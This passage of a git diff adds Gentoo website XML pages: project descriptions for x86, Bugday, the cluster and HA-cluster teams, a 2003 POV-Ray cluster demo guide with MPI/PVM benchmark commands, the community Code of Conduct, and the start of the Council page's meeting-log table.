+	  link="http://bugs.gentoo.org">bugs.gentoo.org</uri>, and
+	  keep working on it. If it seems ignored, make a new comment
+	  in the bug and/or mention it in #gentoo-x86.
+	</p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>Documentation</title>
+    <section>
+      <body>
+	<ul>
+	  <li><uri link="arch-testers-faq.xml">Arch Tester's FAQ</uri></li>
+	  <li><uri link="chroot.xml">Chroot Guide</uri></li>
+	</ul>
+      </body>
+    </section>
+  </extrachapter>
+
+  <dev role="Lead/Security Liaison/Arch Tester co-lead" description="Gentoo/x86">maekke</dev>
+  <dev role="Co-Lead/Security Liaison/Arch Tester lead" description="Gentoo/x86">fauli</dev>
+  <dev role="Developer" description="Gentoo/x86">hparker</dev>
+  <dev role="Developer" description="Release Coordinator">agaffney</dev>
+  <dev role="Developer" description="tools-portage">fuzzyray</dev>
+  <dev role="Developer" description="net-dialup net-mail">tove</dev>
+  <dev role="Developer" description="Gentoo/x86">hattya</dev>
+  <dev role="Developer" description="Gentoo/x86">cla</dev>
+  <dev role="Developer" description="netmon">Jokey</dev>
+  <dev role="Developer" description="Gentoo/x86">Jurek</dev>
+  <dev role="Developer" description="Gentoo/x86">armin76</dev>
+  <dev role="Developer" description="multimedia">beandog</dev>
+  <dev role="Developer" description="Gentoo/x86">phajdan.jr</dev>
+  <herd name="x86"/>
+</project>
diff --git a/xml/htdocs/proj/en/bugday/index.xml b/xml/htdocs/proj/en/bugday/index.xml
new file mode 100644
index 00000000..423af8cd
--- /dev/null
+++ b/xml/htdocs/proj/en/bugday/index.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!--
+	WARNING:
+	Please talk with welp before editing this file. Thanks.
+-->
+
+<project>
+<name>bugday</name>
+<longname>Gentoo Bugday</longname>
+<date>2006-08-03</date>
+<author title="Author"><mail link="eroyf@gentoo.org">Alexander Færøy</mail></author>
+<description>
+Gentoo Bugday is an event hosted every first saturday of a month where devs
+and users get together to try and fix the most bugs during the day.
+</description>
+
+<longdescription>
+<p>With the high volume of bugs filed every day on bugzilla, help coming from
+users with testing and fixing bugs is really appreciated - and needed. The
+goal of the Bugday project is to improve the interaction between devs and
+users on this important issue and encourage users to contribute.</p>
+
+<p>Hence, every first saturday of a month, a bugday is hosted on #gentoo-bugs,
+on irc.freenode.net. During the whole day, users pick bugs from the list
+presented on <uri link="http://bugday.gentoo.org">bugday.gentoo.org</uri> and,
+with the possible help of attending devs, try and fix them.</p>
+
+<p>All team members can be contacted through the mail alias <mail
+link="bugday@gentoo.org">bugday@gentoo.org</mail>.</p>
+
+</longdescription>
+
+<dev role="Member">gurligebis</dev>
+<dev role="Member">deathwing00</dev>
+</project>
diff --git a/xml/htdocs/proj/en/cluster/demo-lwe.png b/xml/htdocs/proj/en/cluster/demo-lwe.png
new file mode 100644
index 00000000..e55296a8
--- /dev/null
+++ b/xml/htdocs/proj/en/cluster/demo-lwe.png
diff --git a/xml/htdocs/proj/en/cluster/demo-lwe.xml b/xml/htdocs/proj/en/cluster/demo-lwe.xml
new file mode 100644
index 00000000..37c93340
--- /dev/null
+++ b/xml/htdocs/proj/en/cluster/demo-lwe.xml
@@ -0,0 +1,165 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/cluster/demo-lwe.xml">
+<title>Gentoo Cluster Demo</title>
+
+<author title="Author"><mail
+link="jean-francois@adelielinux.com">Jean-Francois
+Richard</mail></author>
+
+<abstract>This document was written by people at the <uri
+link="http://www.adelielinux.com">Adelie Linux R&amp;D Center</uri>,
+it presents the demonstration Gentoo cluster for the Linux World
+Expo.</abstract>
+
+<version>1.0</version>
+<date>August 5, 2003</date>
+
+<chapter><title>Hardware Platforms</title>
+
+<section>
+<body>
+
+<p>Here are the hardware platforms accessible for the demo :</p>
+
+<ul>
+	<li><p>Galapagos: 5 node cluster featuring gigabit connectivity.</p>
+
+	<ul>
+	<li><p>Master node : AMD Duron(tm) : 1000 MHz</p></li>
+	<li><p>4 slave nodes : AMD Athlon(tm) : 1250 MHz</p></li>
+	</ul>
+
+	</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter><title>Demo on Galapagos</title>
+<section><body>
+
+<p>We installed the following software on Galapagos :</p>
+
+<ul>
+        <li><p>POVRAY</p></li>
+	<li><p>MPI-POVRAY</p></li>
+	<li><p>PVM-POVRAY</p></li>
+</ul>
+
+<p>These are raytracing programs that run either on a single cpu or on
+the whole cluster, using MPI or PVM for message passing.</p>
+
+<p>An account named "demo@galapagos.cyberlogic.net" was created.  In
+it, you can find a readme file and several .pov files to render.</p>
+
+<p>You will need a VNC viewer to connect to the demo, with an SSH
+tunnel that you can setup this way : </p>
+
+<pre caption="SSH tunnel setup">
+ssh -C -g -L 5901:localhost:5901 demo@galapagos.cyberlogic.net 
+</pre>
+
+<p>Once this is done, you can connect to your
+<path>localhost:5901</path> with a VNC viewer, like KDE's "Remote
+Desktop Connection" or "vncviewer".</p>
+
+</body></section>
+<section>
+<title>Sample POVRAY commands</title>
+<body>
+
+<p>You can use the following commands from <path>~demo/</path>
+to test the different POVRAYs installed :</p>
+
+<p>We suggest running the vanilla POVRAY side-by-side with either the
+MPI or PVM version to show the speed difference.  Just start two
+terminals and run both with the following commands.</p>
+
+<note>You can disable the X display by removing the "+D0 +D1 +p"
+options.</note>
+
+<note>You can resize the output by changing the "+wWIDTH +hHEIGHT"
+parameters.</note>
+
+<pre caption="POVRAY">
+$ x-povray -i blue.pov +v1 -d +ft -x \
+     +a0.300 +r3 -q9 -w640 -h480 -mv2.0 \
+     +b1000 +D0 +D1 +p
+</pre>
+
+<p>This task takes 48 seconds.</p>
+
+<pre caption="PVM-POVRAY">
+$ pvm /etc/pvm_hosts
+pvm> conf      should show node01-node04
+pvm> quit
+
+$ ${PVM_ROOT}/bin/LINUX/x-pvmpov \
+    -i blue.pov \
+    +v1 -d +ft -x +a0.300 +r3 -q9 -w640 \
+    -h480 -mv2.0 +b1000 +D0 +D1 +p
+
+Exit PVM
+$ pvm
+pvm> halt
+</pre>
+
+<p>This task takes 11 seconds.</p>
+
+<pre caption="MPI-POVRAY">
+$ lamboot /etc/lam-mpi/lam-bhost.lam
+$ mpirun -np 5 `which mpi-x-povray` \
+    -i blue.pov +v1 -d +ft -x +a0.300 +r3 \
+    -q9 -w640 -h480 -mv2.0 +b1000 +D0 +D1 +p
+$ lamhalt
+</pre>
+
+<note>You can change the number of CPUs used to compute the image by
+changing the "-np X" option.</note>
+
+<p>This task takes 9 seconds with "-np 5", 13 seconds with "-np 4", 20
+seconds with "-np 3", 46 seconds with "-np 2".  The following chart
+shows these results :</p>
+
+<figure link="demo-lwe.png" short="MPI-POVRAY Results"
+caption="MPI-POVRAY Results, showing a relation between the number of
+nodes and the total processing time.  The red line shows the
+non-parallel version of POVRAY."/>
+
+<p>The above chart shows there is no significant gain between the 1
+and 2 CPUs dots.  This difference is mostly caused by the
+communication cost in the MPI version and the implementation
+differences between POVRAY and MPI-POVRAY.  The comparison between
+MPI-POVRAY and POVRAY cannot yield truly valid conclusions.</p>
+
+<p>However, there is a a significant relation between the number of
+CPUs and the overall speed, as predicted.  Note that the speed gain is
+not linear and the speedup tends to zero when adding a lot of nodes.
+This depends, again, on implementation and on the parallel algorithms
+used.</p>
+
+<p>Several scientific and industrial applications are designed to
+scale to a lot more nodes while showing an almost-linear behaviour
+regarding the speed gain vs.  number of nodes.  When using these
+applications, clusters are a really interesting and cost-effective
+solution to add processing power.</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter><title>About this Document</title>
+<section><body>
+
+<p>The original document is published at the <uri
+ link="http://www.adelielinux.com">Adelie Linux R&amp;D Centre</uri>
+ web site, and is reproduced here with the permission of the authors
+ and <uri link="http://www.cyberlogic.ca">Cyberlogic</uri>'s Adelie
+ Linux R&amp;D Centre.</p>
+
+</body></section></chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/cluster/ha-cluster/index.xml b/xml/htdocs/proj/en/cluster/ha-cluster/index.xml
new file mode 100644
index 00000000..65037cc9
--- /dev/null
+++ b/xml/htdocs/proj/en/cluster/ha-cluster/index.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>ha-cluster</name>
+<longname>HA Cluster</longname>
+<date>20. 6. 2010</date>
+<author title="Author">Tomáš Chvátal</author>
+
+<description>
+	The HA Cluster team manages high availibility cluster implementations in portage tree.
+</description>
+
+<longdescription>
+	<p>The HA Cluster team manages the ha-cluster implementations and base-level
+	accessories in Portage. This includes heartbeat, corosync, pacemaker as well
+	as other core libraries and accessories.</p>
+</longdescription>
+
+<goals>
+	<p>The team aims to support HA Clustering with ensight of stability and reliabilty
+	on its mind. With hope of fresh and stable ebuilds and descriptive and easy
+	configuration availible for them.</p>
+</goals>
+
+<dev role="lead">scarabeus</dev>
+<dev role="member">xarthisius</dev>
+<dev role="member">cla</dev>
+
+<extrachapter position="bottom">
+<title>Want to help?</title>
+<section>
+<body>
+	<p>
+	If you want to get involved with improving Gentoo's clustering experience,
+	we'd like to hear from you! The main thing you'll want to do is be active
+	on <uri link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>. Also please
+	join cluster project members in #gentoo-cluster on irc.freenode.net.
+	</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/cluster/index.xml b/xml/htdocs/proj/en/cluster/index.xml
new file mode 100644
index 00000000..a7484290
--- /dev/null
+++ b/xml/htdocs/proj/en/cluster/index.xml
@@ -0,0 +1,226 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/cluster/index.xml">
+<title>Gentoo Cluster Project</title>
+<subtitle>Main Page</subtitle>
+<author title="Author">
+   <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<abstract>
+	The Gentoo Cluster Project aims to make Gentoo a desirable platform for 
+	high-performance and high-availability clustering.
+</abstract>
+
+<version>1.10</version>
+<date>20 February 2009</date>
+
+<chapter>
+<title>What is the Gentoo Cluster Project?</title>
+<section>
+<body>
+<p>
+	The Gentoo Cluster Project aims to make Gentoo a desirable platform 
+	for high-performance and high-availability clustering. The project 
+	will develop documentation and support for designing and implementing 
+	clusters. This will increase Gentoo's visibility in enterprise-level 
+	computing.
+</p>
+<p>
+	Please join us in IRC on <uri link="http://www.freenode.net">freenode.net</uri>, #gentoo-cluster.
+</p>
+<p>
+	<uri link="http://www.adelielinux.com">Adelie Linux</uri> has 
+	contributed to the high-performance subproject.
+</p>
+<table>
+	<tr>
+		<th>Documentation</th>
+	</tr>
+	<tr>
+		<ti><uri link="/doc/en/hpc-howto.xml">High-Performance HOWTO</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="/doc/en/distcc.xml">Distcc HOWTO</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www-128.ibm.com/developerworks/linux/library/l-cluster1/">HPC fundamentals (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.clustermonkey.net/content/category/5/16/28/">Parallel filesystems (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://lwn.net/Articles/190222/">LWN on the 2006 Linux File Systems Workshop (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.clustermonkey.net/content/view/92/47/">Cluster administration (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.sc-conference.org/sc2003/paperpdfs/pap301.pdf">Why a minimal cluster improves performance (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.howtoforge.com/high_availability_nfs_drbd_heartbeat">Highly available NFS with DRBD (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.howtoforge.com/high_availability_loadbalanced_apache_cluster">Load-balanced Apache with heartbeat (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.howtoforge.com/loadbalanced_mysql_cluster_debian">Load-balanced MySQL with heartbeat (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.oreillynet.com/pub/a/databases/2006/02/16/ha_mysql_cluster.html">MySQL clustering with NBD (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www-128.ibm.com/developerworks/linux/library/gr-lxwd05/?ca=dgr-lnxw04CommodityComputing">Grid computing in finance (external)</uri></ti>
+	</tr>
+	<tr>
+		<ti><uri link="http://www.linuxjournal.com/article/8812">Xen and HPC clustering with PVM (external)</uri></ti>
+	</tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Clusters using Gentoo</title>
+
+<section>
+<title>Medium to large clusters</title>
+<body>
+<p>
+	This is a brief list of known clusters running Gentoo that have at least
+	32 cores. Please contact <mail link="cluster@gentoo.org">the clustering team</mail>
+	if you know of one not yet on this list or have updated information for one
+	already on this list.
+</p>
+<ul>
+	<li>7783 cores in 2284 mixed nodes (AMD64, Pentium-4 and Xeon), at
+	  2009-02-20 and expanding by Hyves (Startphone Ltd) for www.hyves.nl</li>
+	<li>5832 cores in 972 6 GFlops MIPS nodes in the SiCortex SC5832</li>
+    <li>960 cores in 224 mixed nodes (2.6GHz, 2.2GHz Opteron single/dual/quad core, 3.0GHz Xeon dual core) at the University of Bern Central IT Services</li>
+	<li>512 cores in 256 Apple Xserve G5 nodes at the University of Maine</li>
+    <li>408 cores in 88 mixed nodes (Quad Opteron and Xeon) at Zymeworks Inc.  http://zymeworks.com</li>
+	<li>296 cores in 135 mixed nodes (2.8 GHz Opteron and 2.8 GHz Xeon) at the University of Delaware's Delaware Biotechnology Institute</li>
+	<li>268 cores in 134 2.8 GHz Xeon nodes at the University of Idaho</li>
+	<li>256 cores in 128 Opteron nodes at Indiana University</li>
+	<li>256 cores in 3.0 GHz Pentium-4 nodes at Simon Fraser University-Surrey (TechBC)</li>
+	<li>200 cores in IBM xSeries rendering cluster at Attitude Studio</li>
+	<li>160 cores in 80 Pentium-3 933 MHz nodes at SUNY-Stony Brook</li>
+	<li>130 cores in mixed nodes (2.20 GHz Opteron, 3.00 GHz Dual Core Xeon, 2.66 GHz Quad Core Xeon) at Laval University in Québec City</li>
+	<li>80 cores in 26 mixed nodes (1.8 GHz and up) at Kansas State University</li>
+	<li>72 cores in mixed nodes (1.4 GHz and up) at the University of Edinburgh</li>
+	<li>68 cores at Tufts University</li>
+	<li>64 cores in 32 mixed nodes (27 1.4 GHz Athlon MP, 5 2.0 GHz Athlon MP) at the University of Edinburgh</li>
+	<li>64 cores in 32 nodes (IBM eServer) at the University of Manchester</li>
+	<li>64 cores in 8 nodes (Xeon E5430) at the University of Aveiro, Portugal</li>
+    <li>54 cores in 1.2 GHz Athlon nodes at the University of Idaho</li>
+	<li>40 cores in 20 Pentium-2 nodes at the University of Trollhättan/Uddevalla</li>
+    <li>36 cores in 18 mixed nodes (6 Dual Xeon 2.0GHz, 12 Dual PIII 866MHz) at Montana State University</li>
+    <li>32 cores in 16 2.4 GHz Xeon nodes at the University of Pennsylvania Chemistry Department</li>
+	<li>32 cores in mixed MIPS nodes (25 R4400 SGI Indigo2 &amp; 7 R5000 SGI Indy) at Simon Fraser University-Surrey (TechBC)</li>
+    <li>32 cores in 8 nodes (Intel Q9550 2.83 Ghz) at Università Politecnica 
+        delle Marche - Italy.  http://cluster.univpm.it</li>
+</ul>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Gentoo Cluster Subprojects</title>
+
+<section>
+<title>Active Subprojects</title>
+<body>
+<p>
+The current active subprojects in the Gentoo Cluster Project are:
+</p>
+<table>
+	<tr>
+		<th>Project:</th>
+		<th>Description:</th>
+	</tr>
+	<tr>
+		<ti>High-Performance Computing</ti>
+		<ti>This subproject is developing documentation for and supporting 
+		high-performance clusters.</ti>
+	</tr>
+	<tr>
+			<ti><uri link="ha-cluster/">High-Availability Clusters</uri></ti>
+		<ti>This subproject is developing documentation for and preparing
+		to support high-availability clusters. 
+		</ti>
+	</tr>
+</table>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Gentoo Cluster Personnel</title>
+<section>
+<body>
+<p>
+Each person working on the Gentoo Cluster Project is listed here
+alphabetically. Full time
+indicates that their main Gentoo position is on this project, part time
+indicates that their main position lies in another area but they do
+additional work with this project.
+</p>
+<table>
+	<tr>
+		<th>Developer Name</th>
+		<th>Username</th>
+		<th>Full/Part Time</th>
+		<th>Areas of Responsibilty</th>
+	</tr>
+	<tr>
+		<ti><mail link="jsbronder@gentoo.org">Justin Bronder</mail></ti>
+		<ti>jsbronder</ti>
+		<ti>Full</ti>
+		<ti>High-Performance</ti>
+	</tr>
+	<tr>
+		<ti><mail link="george@gentoo.org">George Shapovalov</mail></ti>
+		<ti>george</ti>
+		<ti>Part</ti>
+		<ti>High-Performance</ti>
+	</tr>
+	<tr>
+		<ti><mail link="xmerlin@gentoo.org">Christian Zoffoli</mail></ti>
+		<ti>xmerlin</ti>
+		<ti>Full</ti>
+		<ti>High-Availability</ti>
+	</tr>
+	<tr>
+		<ti><mail link="ribosome@gentoo.org">Olivier Fisette</mail></ti>
+		<ti>ribosome</ti>
+		<ti>Part</ti>
+		<ti>High-Performance</ti>
+	</tr>
+	<tr>
+		<ti><mail link="markusle@gentoo.org">Markus Dittrich</mail></ti>
+		<ti>markusle</ti>
+		<ti>Part</ti>
+		<ti>High-Performance</ti>
+	</tr>
+</table>
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>How Do I Participate?</title>
+<section>
+<body>
+<p>
+To participate in the Gentoo Cluster Project, please contact
+<mail link="cluster@gentoo.org">the clustering team</mail> via e-mail or IRC.  
+</p>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/council/coc.xml b/xml/htdocs/proj/en/council/coc.xml
new file mode 100644
index 00000000..7263be62
--- /dev/null
+++ b/xml/htdocs/proj/en/council/coc.xml
@@ -0,0 +1,221 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/council/coc.xml,v 1.4 2009/10/22 12:20:02 vostorga Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/council/coc.xml">
+<title>Code of Conduct</title>
+
+<author title="Author">
+  <mail link="christel@gentoo.org">Christel Dahlskjaer</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Reviewer">
+  <mail link="marienz@gentoo.org">Marien Zwart</mail>
+</author>
+<author title="Reviewer">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Reviewer">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="Reviewer">
+  <mail link="uberlord@gentoo.org">Roy Marples</mail>
+</author>
+<author title="Reviewer">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Contributor">
+  <mail link="spb@gentoo.org">Stephen Bennett</mail>
+</author>
+<author title="Contributor">
+  <mail link="kingtaco@gentoo.org">Mike Doty</mail>
+</author>
+<author title="Contributor">
+  <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+<author title="Contributor">
+  <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+</author>
+<author title="Contributor">
+  <mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+<author title="Contributor">
+  <mail link="lack@gentoo.org">Jim Ramsay</mail>
+</author>
+<author title="Editor">
+  <mail link="musikc@charter.net">Christina Fullam</mail>
+</author>
+
+<abstract>
+This document describes Gentoo's Code of Conduct for public communication fora,
+as well as the action taken should it be broken.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.0</version>
+<date>2007-03-15</date>
+
+<chapter>
+<title>Draft disclaimer</title>
+<section>
+<body>
+<impo>
+This document is an ongoing work, subject to growth and revision as Gentoo grows and changes.
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Scope</title>
+<section>
+<title>Joining and participation agreement</title>
+<body>
+
+<p>
+Gentoo prides itself on being a community driven distribution that acts with the best interest of the community at heart. Rules and regulations that keep us all moving in a forward direction are a reality for a community of this size. 
+</p>
+
+<p>
+This document describes Gentoo's Code of Conduct for public communication mediums, who shall enforce said Code of Conduct, the action taken should the Code of Conduct be broken, as well as the method for appeals. Questions about this document and its contents can be directed to the council at council@gentoo.org.
+</p>
+
+<impo>
+By joining and/or participating in the Gentoo community, you are stating that
+you accept and agree to adhere to the rules listed below, even if you do not
+explicitly state so.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Behaviour and Consequences</title>
+
+<section>
+<title>Acceptable behaviour</title>
+<body>
+
+<p>
+Things that should be seen:
+</p>
+
+<ul>
+  <li>
+    <b>Be courteous.</b> Though respect is earned, it must start somewhere. Respect someones right for their own opinion and acknowledge that they do deserve a measure of politeness in your response.
+  </li>
+  <li>
+    <b>Give accurate information in the spirit of being helpful.</b>
+  </li>
+  <li>
+    <b>Respectfully disagree with or challenge other members.</b> The
+    operative word here is respectfully.
+  </li>
+  <li>
+    <b>Using the correct forum for your post.</b> Bug reports and idle chatter
+    do not belong on the gentoo-dev mailing list; discussion about a
+    wide-ranging change to the tree probably does not belong on Bugzilla.
+    Different fora will also have different standards of behaviour -- a joke
+    that is perfectly acceptable on IRC will be taken differently when made on a
+    mailing list.
+  </li>
+  <li>
+    <b>Admit the possibility of fault and respect different point of views.</b>
+    Noone is perfect -- you will get things wrong occasionally. Don't be afraid
+    to admit this. Similarly, while something may seem perfectly obvious to you,
+    others may see it differently. 
+  </li>
+  <li>
+    <b>If you screw up, take responsibility for your actions.</b>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Unacceptable behaviour</title>
+<body>
+
+<p>
+Gentoo developers have come together with a common purpose, to further the project. Conflicts will undoubtedly arise, and though you are encouraged to work through issues on your own, assistance is available as requested and as needed.
+</p>
+<p>
+Deciding to suspend or ban someone isn't a decision to be taken lightly, but
+sometimes it has to happen. Below is a list of things that could result in disciplinary action.
+</p>
+
+<ul>
+ <li>
+   <b>Flaming and trolling.</b> What is trolling? You are deemed to be trolling if you make comments intended to provoke an angry response from others. What is flaming? Flaming is the act of sending or posting messages that are deliberately hostile and insulting.
+  </li>
+  <li>
+    <b>Posting/participating only to incite drama or negativity</b> rather than
+    to tactfully share information.
+  </li>
+  <li>
+    <b>Being judgmental, mean-spirited or insulting.</b> It is possible to
+    respectfully challenge someone in a way that empowers without being judgemental.
+  </li>
+  <li>
+    <b>Constantly purveying misinformation</b> despite repeated warnings.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Consequences</title>
+<body>
+
+<p>
+Disciplinary action will be up to the descretion of the proctors. What is a proctor? A proctor is an official charged with the duty of maintaining good order. Currently this responsibility falls to two existing Gentoo projects: <uri link="/proj/en/devrel">DevRel</uri> and <uri link="/proj/en/userrel">UserRel</uri>.
+</p>
+
+<p>
+If you perceive a breach of the Code of Conduct guidelines, let the appropriate proctors know. Though they will also be watching many of the public mediums for any problems, they can not be expected to catch everything. If the offender is a Gentoo developer, contact <mail link="devrel@g.o">devrel@g.o</mail>, otherwise contact <mail link="userrel@g.o">userrel@g.o</mail>.
+</p>
+
+<p>
+The proctors will attempt to resolve the problem by talking to involved parties, potentially issuing warnings if appropriate. If the problem repeats itself, there are various options open to the proctors, including temporary or permanent suspension of a person's ability to post to mailing lists, removal of Bugzilla access, or in more severe cases suspension of developer privileges.
+</p>
+
+<p>
+If discplinary measures are taken and the affected person wishes to appeal, appeals should be addressed to the Gentoo Council via email at <mail link="council@g.o">council@g.o</mail>. To prevent conflicts of interest, Council members may not perform the duties of a proctor.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Summary</title>
+<section>
+<body>
+
+<p>
+If you are unsure whether or not something is OK to post/comment/etc,
+assume it isn't, and reconsider whether you need to post it. Remember that posts
+made to mailing lists are archived for perpetuity, and read by far more people
+than will be actively involved in any one thread. A comment made in anger can
+have far-reaching consequences that you might not have thought about at the time.
+</p>
+
+<p>
+Remember, the moment you participate in a public discussion on Gentoo medium,
+you have made yourself a representative of the Gentoo community. We hope that
+you will not take this responsibility lightly, and will prove to be a positive
+force in it.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/council/index.xml b/xml/htdocs/proj/en/council/index.xml
new file mode 100644
index 00000000..3c636ed6
--- /dev/null
+++ b/xml/htdocs/proj/en/council/index.xml
@@ -0,0 +1,772 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Council</name>
+<longname>Gentoo Council</longname>
+
+<description>
+The elected Gentoo Council decides on global issues and policies that affect
+multiple projects in Gentoo.
+</description>
+
+<longdescription><p>
+The elected Gentoo Council decides on global issues and policies that affect 
+multiple projects in Gentoo.  It also serves as an appeal court for disciplinary
+decisions.  The Council members are elected for a year and must hold monthly 
+public meetings.  This form of management was created via
+<uri link="/proj/en/glep/glep-0039.html">GLEP 39</uri>.
+</p></longdescription>
+
+<dev description="Council member">betelgeuse</dev>
+<dev description="Council member">chainsaw</dev>
+<dev description="Council member">ferringb</dev>
+<dev description="Council member">halcy0n</dev>
+<dev description="Council member">jmbsvicetto</dev>
+<dev description="Council member">scarabeus</dev>
+<dev description="Council member">wired</dev>
+
+<extrachapter position="subproject">
+<title>Appeals process</title>
+<section>
+<body>
+<p>
+The council may, at its option, accept appeals on decisions by project
+leads. Only people who are directly affected by a decision can
+appeal. To appeal, send a request to the council describing your
+perspective on what happened, any additional information or any
+disputes to the original information that you think should change the
+decision, and your justification for reversal of the action. The
+council will then decide whether to accept your appeal, followed by
+discussion regarding the appeal. This discussion may be private at the
+council's discretion. Because the council's responsibility is to do
+what is best for all of Gentoo, it may also take into account any
+broader context surrounding this specific appeal in considering which
+decision will improve Gentoo. Following the council's discussion and
+decision, the decision will be announced and the rationale made
+public. A council decision is final.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="subproject">
+<title>Meetings</title>
+<section>
+<body>
+<p>
+Meetings are held at least once a month in the #gentoo-council irc channel on
+irc.freenode.net. The time and date of each meeting is decided by the active
+Council and is announced at least two weeks earlier through email to the
+gentoo-project and gentoo-dev-announce mailing lists. The Council may hold more
+than one meeting per month if deemed necessary by its members.
+</p>
+<p>
+The current Council holds its monthly meeting on the second Monday of each
+month, at <uri link="utctolocal.html?time=1900">1900 UTC</uri>.
+</p>
+<p>
+Prior to each meeting, anyone may propose items to be included to the meeting's
+agenda by replying to the original meeting announcement or by sending a new
+email to the gentoo-project mailing list. For items to be considered for the
+meeting, they should be sent at least one week before the meeting date,
+otherwise they may be pushed back to a later meeting. Also, most, if not all
+items should be discussed by mail prior to submission. An item may be pushed
+back to a later meeting if further discussion is required.
+</p>
+<p>
+One week before each meeting a draft of the agenda is sent to gentoo-project
+and gentoo-dev-announce. Item proposals are still accepted afterwards, but
+their chance of actually getting in the current agenda is low. Items in the
+agenda are discussed and some may be filtered out.
+</p>
+<p>
+In each meeting, Council members discuss and vote on items included in its
+agenda. They also go through bugs assigned to council@g.o and assign them to
+individual Council members.
+</p>
+<p>
+At the end of each meeting, one council member is selected to chair the next
+meeting. That member is responsible for sending the next meeting
+announcement and drafts of its agenda to the gentoo-project and 
+gentoo-dev-announce mailing lists for discussion prior to the meeting. They
+are also responsible for committing the meeting's log and summary after its
+completion.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="subproject">
+<title>Meeting logs</title>
+<section>
+<body>
+<table>
+	<tr><th>Date</th><th>Participants</th><th>AWOL</th><th>Log</th><th>Summary</th></tr>
+	<tr>
+		<ti>August 23, 2010</ti>
+		<ti>betelgeuse, chainsaw, halcy0n, jmbsvicetto, scarabeus (proxied by ssuominen), wired</ti>
+		<ti>ferringb</ti>
+		<ti><uri link="meeting-logs/20100823.txt">20100823</uri></ti>
+		<ti><uri link="meeting-logs/20100823-summary.txt">20100823</uri></ti>
+	</tr>
+	<tr>
+		<ti>August 9, 2010</ti>
+		<ti>betelgeuse, chainsaw, ferringb, halcy0n, jmbsvicetto, scarabeus, wired</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20100809.txt">20100809</uri></ti>
+		<ti><uri link="meeting-logs/20100809-summary.txt">20100809</uri></ti>
+	</tr>
+	<tr>
+		<ti>July 26, 2010</ti>
+		<ti>betelgeuse, ferringb, jmbsvicetto, scarabeus, wired</ti>
+		<ti>chainsaw, halcy0n</ti>
+		<ti><uri link="meeting-logs/20100726.txt">20100726</uri></ti>
+		<ti><uri link="meeting-logs/20100726-summary.txt">20100726</uri></ti>
+	</tr>
+	<tr>
+		<ti>July 14, 2010</ti>
+		<ti>betelgeuse, chainsaw, ferringb, halcy0n, jmbsvicetto, scarabeus, wired</ti>
